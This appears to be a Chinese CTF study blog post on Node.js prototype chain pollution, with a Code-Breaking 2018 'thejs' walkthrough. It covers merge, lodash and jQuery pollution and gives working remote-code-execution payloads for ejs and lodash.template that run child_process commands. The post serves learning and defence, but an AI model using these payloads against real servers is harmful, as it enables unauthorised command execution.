做网站费用可以看为广告费用吗,网站建设的cms系统,免费网站推广工具,著名logo设计案例一直在做php的题目#xff0c;对其它语言做的很少。刚好在西湖论剑2022复现时#xff0c;遇到了一道原型链污染的题目#xff0c;借此机会开始简单学习一下 Nodejs的洞
p#x1f402;讲解的十分清楚#xff0c;因此下面举例子就直接用p#x1f402;的例子进行解释了
目…一直在做php的题目对其它语言做的很少。刚好在西湖论剑2022复现时遇到了一道原型链污染的题目借此机会开始简单学习一下 Nodejs的洞
p讲解的十分清楚因此下面举例子就直接用p的例子进行解释了
目录
1 Node.js基础
(1) 类与构造函数(constructor)
(2) 同步和异步
(3) fs模块
(4) child_process模块
2 什么是原型链
(1) prototype
(2) __proto__
(3) 原型链的继承思想
3 原型链污染
(1) 简单介绍 (2) merge操作导致原型链污染 (3) ejs污染
(4) lodash污染
(5) JQuery污染
Code-Breaking 2018 Thejs
Xnuca2019 Hardjs 1 Node.js基础 简单的说 Node.js 就是运行在服务端的 JavaScript。 Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。 Node.js是一个事件驱动I/O服务端JavaScript环境基于Google的V8引擎V8引擎执行Javascript的速度非常快性能非常好。 这里就只介绍一下后续CTF题会涉及到的一些 node.js的基础 node.js 允许用户从NPM服务器下载别人编写的第三方包到本地使用 这就像python 一样pip下载包以后通过import引入而node.js是通过require引入的
(1) 类与构造函数(constructor)
JavaScript中我们如果要定义一个类需要以定义“构造函数”的方式来定义 一个类必然有一些方法类似属性this.bar我们也可以将方法定义在构造函数内部
function Foo() {this.bar 1this.show function() {console.log(this.bar)}
}(new Foo()).show()
如上段代码Foo函数的内容就是Foo类的构造函数而this.bar就是Foo类的一个属性。 这段代码功能就是 定义一个Foo类调用Foo类的show方法会输出它的 bar 属性
但这样写有一个问题就是每当我们新建一个Foo对象时this.show function...就会执行一次这个show方法实际上是绑定在对象上的而不是绑定在“类”中。
我希望在创建类的时候只创建一次show方法这时候就则需要使用原型prototype了
后面会提到
(2) 同步和异步 Node.js 文件系统fs 模块模块中的方法均有异步和同步版本例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。 异步的方法函数最后一个参数为回调函数回调函数的第一个参数包含了错误信息(error)。 解释一下同步和异步就像我们常说的一心二用一样异步就是我们的一心二用一边吃饭一边看电视而同步就是吃完饭再看电视。 简单的说就是 当你先读取文件输出后输出一段话的时候 同步先输出文件内容再输出一段话 异步先输出一段话后输出文件内容
(3) fs模块
node.js的文件操作模块我们本地建立一个sd.txt
它的同步函数readFileSync异步函数readFile
var fs require(fs);// 异步读取
fs.readFile(sd.txt, function (err, data) {if (err) {return console.error(err);}console.log(异步读取: data.toString());
});// 同步读取
var data fs.readFileSync(sd.txt);
console.log(同步读取: data.toString());console.log(程序执行完毕。);
同步读取: abcdefg 程序执行完毕。 异步读取: abcdefg
(4) child_process模块
child_process提供了几种创建子进程的方式 异步方式spawn、exec、execFile、fork 同步方式spawnSync、execSync、execFileSync 经过上面的同步和异步思想的理解创建子进程的同步异步方式应该不难理解。 在异步创建进程时spawn是基础其他的fork、exec、execFile都是基于spawn来生成的。 同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() 同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行直到子进程退出。 其中的一些函数在一些情况下可以导致命令执行漏洞后面写题时候会用到
其中JavaScript的继承关系并非像Java一样有父类子类之分而是通过一条原型链来进行继承的
2 什么是原型链
(1) prototype
在JavaScript中prototype对象是实现面向对象的一个重要机制。
它是函数所独有的它是从一个函数指向一个对象
它的含义是函数的原型对象也就是构造函数(constructor)所创建的实例的原型对象
个人觉得它就相当于是类的一个实例的模板 原型的对象。生成的对象都会参照这个原型对象
生成实例化对象时如果自己没有的属性prototype有就会继承此属性有的话则不会覆盖。
例如看下面这段js代码
function Foo() {this.bar 1
}Foo.prototype.show function show() {console.log(this.bar)
}let foo new Foo()
foo.show()
可一看到我们可以通过prototype属性指向到这个函数的原型对象中然后创建一个show()函数功能为输出 this.bar 我们可以认为原型 prototype是类Foo的一个属性而所有用Foo类实例化的对象都将拥有这个属性中的所有内容 包括变量和方法。比如上图中的foo对象其天生就具有foo.show()方法。 (2) __proto__ 如上面所说我们可以通过Foo.prototype来访问Foo类的原型但Foo实例化出来的对象是不能通过prototype访问原型的。 这时候就该__proto__登场了 不同于prototype是函数特有的它是对象所独有的proto属性都是由一个对象指向一个对象
即指向它们的原型对象也可以理解为父对象 一个Foo类实例化出来的foo对象可以通过foo.__proto__属性来访问Foo类的原型也就是说 foo.__proto__ Foo.prototype (True) 即 prototype是一个类的属性所有类对象在实例化的时候将会拥有prototype中的属性和方法。 一个对象的__proto__属性指向这个对象所在的类的prototype属性 (3) 原型链的继承思想
function Father() {this.first_name Donaldthis.last_name Trump
}function Son() {this.first_name Melania
}Son.prototype new Father()let son new Son()
console.log(Name: ${son.first_name} ${son.last_name})
console.log(son.__proto__)
console.log(son.__proto__.__proto__)
console.log(son.__proto__.__proto__.__proto__) Son类继承了Father类的last_name属性最后输出的是Name: Melania Trump 总结一下对于对象son在console.log() 调用son.last_name的时候实际上JavaScript引擎会进行如下操作 在对象son中寻找last_name如果找不到则在son.__proto__中寻找last_name如果仍然找不到则继续在son.__proto__.__proto__中寻找last_name依次寻找直到找到null结束。比如Object.prototype的__proto__就是null类似于Java里面继承的思想如果子类没有这个属性, 往上继承父类. 有的话就自己用自己的 多态 JavaScript的这个查找的机制被运用在面向对象的继承中被称作prototype继承链
每个构造函数(constructor)都有一个原型对象(prototype)对象的__proto__属性指向类的原型对象prototypeJavaScript使用prototype链实现继承机制
3 原型链污染
(1) 简单介绍
在javascript每一个实例对象都有一个__proto__属性这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象
objectname[__proto__]
objectname.__proto__
objectname.constructor.prototype
不同对象所生成的原型链如下(部分)
var o {a: 1};
// o对象直接继承了Object.prototype
// 原型链
// o --- Object.prototype --- nullvar a [aa, lisi, ?];
// 数组都继承于 Array.prototype
// 原型链
// a --- Array.prototype --- Object.prototype --- nullfunction f(){return 2;
}
// 函数都继承于 Function.prototype
// 原型链
// f --- Function.prototype --- Object.prototype --- null 先来看一个简单的示例
// foo是一个简单的JavaScript对象
let foo {bar: 1}// foo.bar 此时为1
console.log(foo.bar)// 修改foo的原型即Objectfoo.__proto__.bar 2// 由于查找顺序的原因foo.bar仍然是1
console.log(foo.bar)console.log(foo.__proto__)// 此时再用Object创建一个空的zoo对象
let zoo {}// 查看zoo.bar
console.log(zoo.bar)
首先建立一个foo对象有一个bar属性为1. 此时它的原型对象 并没有后面通过 foo.__proto__指向了它的原型对象也就等价于是 foo.prototype即object。给 object 原型对象增加了bar属性值为二 。 现在 object 有了(一个bar2的prototype原型对象)。
后面我们再次 let zoo {} zoo对象是空的
但是在我们输出zoo.bar的时候node.js的引擎就开始在zoo中查找发现没有去zoo.proto中查找即在Object中查找而我们的foo.prototype.bar 2就是给Object添加了一个bar属性而这个属性则被zoo继承。
这种修改了一个某个对象的原型对象从而控制别的对象的操作就是原型链污染 (2) merge操作导致原型链污染
我们思考一下哪些情况下我们可以设置__proto__的值呢其实找找能够控制数组对象的“键名”的操作即可
对象merge对象clone其实内核就是将待操作的对象merge到一个空对象中
merge操作是最常见可能控制键名的操作也最能被原型链攻击
以对象merge为例我们想象一个简单的merge函数
function merge(target, source) {for (let key in source) {if (key in source key in target) {merge(target[key], source[key])} else {target[key] source[key]}}
}
在合并的过程中存在赋值的操作target[key] source[key]那么这个key如果是__proto__(json格式才可以被当成key)是不是就可以原型链污染呢
let object1 {}
let object2 JSON.parse({a: 1, __proto__: {b: 2}})
merge(object1, object2)
console.log(object1.a, object1.b)object3 {}
console.log(object3.b)
// 1 2
// 2
需要注意的点是
在JSON解析的情况下__proto__会被认为是一个真正的“键名”而不代表“原型”所以在遍历object2的时候会存在这个键。 (3) ejs污染
参考Expresslodashejs: 从原型链污染到RCE - evi0s Blog
if (!this.source) {this.generateSource();prepended var __output [], __append __output.push.bind(__output); \n;if (opts.outputFunctionName) {prepended var opts.outputFunctionName __append; \n;}if (opts._with ! false) {prepended with ( opts.localsName || {}) { \n;appended } \n;}appended return __output.join(); \n;this.source prepended this.source appended;
}这里有一个代码注入的漏洞
可以看到 opts 对象 outputFunctionName 成员在 express 配置的时候并没有给他赋值默认也是未定义即 undefined这样在 574 行时if 判否跳过
但是在我们有原型链污染的前提之下我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName这样可以进入 if 语句并将我们控制的成员 outputFunctionName 赋值为一串恶意代码从而造成代码注入。在后面模版渲染的时候注入的代码被执行也就是这里存在一个代码注入的 RCE
至于恶意代码构造就非常简单了。在不考虑后果的情况下我们可以直接构造如下代码
a; return global.process.mainModule.constructor._load(child_process).execSync(whoami); //放到代码里面看就是
prepended var opts.outputFunctionName __append; \n;
// After injection
prepended var a; return global.process.mainModule.constructor._load(child_process).execSync(whoami); // 后面的代码都被注释了这样看这样我们构造的payload就会被拼接进js语句中并在ejs渲染时进行RCE
(4) lodash污染
CVE-2019-10744
lodash.defaultsDeep(obj,JSON.parse(objstr));
只需要有objstr为
{content:{prototype:{constructor:{a:b}}}}在合并时便会在Object上附加ab这样一个属性
lodash 是一个非常流行的JavaScript工具库
const mergeFn require(lodash).defaultsDeep;
const payload {constructor: {prototype: {a0: true}}}function check() {mergeFn({}, JSON.parse(payload));if (({})[a0] true) {console.log(Vulnerable to Prototype Pollution via ${payload});}}check();运行上面的js语句就可以检查这个版本的lodash是否存在这个漏洞。
其中漏洞关键触发点在defaultsDeep函数它将({}, JSON.parse(payload))merge时就可能导致原型链污染。使用JSON.parse就是保证合并时能以字典解析而不是字符串
(5) JQuery污染
JQuery 是一个非常流行的Js前端工具库而它也存在原型链污染漏洞CVECVE-2019-11358 版本小于3.4.0时 可以看到
$.extend(true,{},JSON.parse({__proto__:{aa:hello}}))
Jquery可以用$.extend将两个字典merge而这也因此污染了原型链。
Code-Breaking 2018 Thejs
源码https://www.leavesongs.com/media/attachment/2018/11/23/thejs.tar.gz
URL code-breaking/2018/thejs at master · phith0n/code-breaking · GitHub 看一下主要的代码server.js
const fs require(fs)
const express require(express)
const bodyParser require(body-parser)
const lodash require(lodash)
const session require(express-session)
const randomize require(randomatic)const app express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use(/static, express.static(static))
app.use(session({name: thejs.session,secret: randomize(aA0, 16),resave: false,saveUninitialized: false
}))app.engine(ejs, function (filePath, options, callback) { // define the template enginefs.readFile(filePath, (err, content) {if (err) return callback(new Error(err))let compiled lodash.template(content)let rendered compiled({...options})return callback(null, rendered)})
})
app.set(views, ./views)
app.set(view engine, ejs)app.all(/, (req, res) {// 定义sessionlet data req.session.data || {language: [], category: []}if (req.method POST) {// 获取post数据并合并data lodash.merge(data, req.body)req.session.data data// 再将data赋值给session}res.render(index, {language: data.language, category: data.category})
})app.listen(3000, () console.log(Example app listening on port 3000!))
lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集其中包含字符串、数组、对象等操作。这个Web应用中使用了lodash提供的两个工具
lodash.template 一个简单的模板引擎lodash.merge 函数或对象的合并
其实整个应用逻辑很简单用户提交的信息用merge方法合并到session里多次提交session里最终保存你提交的所有信息。
而这里的lodash.merge操作实际上就存在原型链污染漏洞。
在污染原型链后我们相当于可以给Object对象插入任意属性这个插入的属性反应在最后的lodash.template中。页面最终会通过lodash.template进行渲染跟踪到lodash/template.js:
// Use a sourceURL for easier debugging.
var sourceURL sourceURL in options ? //# sourceURL options.sourceURL \n : ;
// ...
var result attempt(function() {return Function(importsKeys, sourceURL return source).apply(undefined, importsValues);
});
options是一个对象sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的默认取空字符串。
因为原型链污染我们可以给所有Object对象中都插入一个sourceURL属性。那这个sourceURL是否可以被我们利用呢 继续跟进
var result attempt(function() {return Function(importsKeys, sourceURL return source).apply(undefined, importsValues);});
最后这个sourceURL被拼接进 Function函数 的第二个参数中造成任意代码执行漏洞 通过构造global.process.mainModule.constructor._load(child_process).exec(ls)// 就可以执行任意代码了
注这里不能用require 因为ReferenceError: require is not defined p神给了一个更好的payload
{__proto__:{sourceURL:\nreturn e {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load(child_process).execSync(id)}\n//}}
p对payload里for循环的解释 原型链污染攻击有个弊端就是你一旦污染了原型链除非整个程序重启否则所有的对象都会被污染与影响。 这将导致一些正常的业务出现bug或者就像这道题里一样我的payload发出去response里就有命令的执行结果了。这时候其他用户访问这个页面的时候就能看到这个结果所以在CTF中就会泄露自己好不容易拿到的flag所以需要一个for循环把Object对象里污染的原型删掉 Xnuca2019 Hardjs
Javascript 原型链污染 分析 | JrXnm blog
相关文章
Node.js 常见漏洞学习与总结 - 先知社区
深入理解 JavaScript Prototype 污染攻击 | 离别歌